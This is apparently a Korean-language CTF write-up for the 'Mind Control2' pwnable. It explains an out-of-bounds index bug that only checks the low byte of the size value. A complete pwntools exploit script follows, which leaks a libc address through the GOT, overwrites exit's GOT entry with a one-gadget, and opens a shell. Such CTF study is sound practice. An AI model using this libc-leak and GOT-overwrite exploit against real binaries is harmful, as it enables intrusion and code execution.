Mind Control2 (ubuntu 20.04)
1 입력시 실행 함수
ssize_t sub_40088B()
{
puts("Mind Control!");
printf("Size : ");
__isoc99_scanf("%d", &dword_601238);
printf("Your Mind : ");
if ( (_BYTE)dword_601238 != 0x80 )
exit(1);
return read(0, &byte_6010C0[dword_601238], 8uLL);
}
두번쨰 시리즈 문제여서 그런지, 첫번쨰 문제오 유사하지만, index의 byte 위치 만큼이 0x80 이여야 진행이 된다. 이떄도 oob가 일어난다. 이는 0x180, 0x280, -0x80 등 음수부호나, 한바이트 이상에서의 데이터를 검사하지 않기 떄문이다.
2번은 똑같이 출력을 해준다.
int sub_400916()
{
puts("Mind Print");
puts(&byte_6010C0[dword_601238]);
puts("Note Print");
return puts(buf); //
//
}
3번은 buf(heap 영역)에 입력을 받는다. buf 자체는 bss 영역에 존재한다.
ssize_t sub_40095F()
{
puts("Mind Note");
printf("Note : ");
return read(0, buf, 0x80uLL);
}
Exploit
먼저 oob를 사용해 libc_base를 leak해야 한다. 이는 -128로 setvbuf got.plt 가 가르키는 주소를 릭하여 해결할 수 있었다. (이때 leak 된 주소는 __GI__IO_setbuffer+154 의 주소였다.) gdb is god!!
또한 oob를 통해 buf를 덮을수 있을지 거리를 계산해 보니, 0x180 으로 덮을 수 있었다. 이건 출제자의 의도인 것 같다는 확신이 들어 바로 익스코드를 작성하였다.
buf를 원하는 주소 — exit 함수 주소로 덮고, 3번 명령어로 buf에 onegadget 값을 넣어주면 got overwrite 되어 함수의 실제 주소를 바꿀 수 있다.
from pwn import *
context.log_level = 'debug'
context.terminal = ['urxvtc', '-e', 'sh', '-c']
context.arch = 'amd64'
#context.arch = 'i386'
ip = ""
port = 0
#p = remote(ip, port)
file_name = "./prob"
libc_name = "../libc-2.31.so"
p = process(file_name, env={'LD_PRELOAD':libc_name})
e = ELF(file_name)
libc = ELF(libc_name)
def slog(name, addr): return success(": ".join([name, hex(addr)]))
#leak exit_got
payload = b""
pause()
p.sendlineafter("> ", b"1")
p.sendlineafter("Size : ", b"-128")
p.sendlineafter("Your Mind : ", b"")
p.sendlineafter("> ", b"2")
p.recvuntil(b"\\x0a")
setvbuf_got = u64(p.recvuntil(b"\\x7f").ljust(8, b'\\x00'))
slog("setvbuf_got", setvbuf_got) #__GI__IO_setbuffer+154>
base = setvbuf_got - libc.sym['_IO_setbuffer'] -154
slog("base", base)
magic = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(base+magic[2])
#stage2
p.sendlineafter("> ", b"1")
p.sendlineafter("Size : ", str(0x180))
p.sendlineafter("Your Mind : ", p64(e.got['exit']))
p.sendlineafter("> ", b"3")
p.sendlineafter("Note : ", payload)
p.sendlineafter("> ", b"4")
p.interactive()
마지막으로 문제를 출제해주신 황수민 선생님께 감사의 말씀을 전달합니다. 덕분에 분석할 때 미숙했던 부분을 알 수 있었습니다!
'Pwnable > writeup' 카테고리의 다른 글
Pwnable.tw - 3x17 (0) | 2022.07.29 |
---|---|
BDCTF - pwnrace (2) | 2022.07.24 |
CBHC - Mind Control (0) | 2022.07.23 |
Hayyim CTF 2022 Write-up (0) | 2022.02.13 |
드림핵 SECCOMP 풀이. (0) | 2022.02.10 |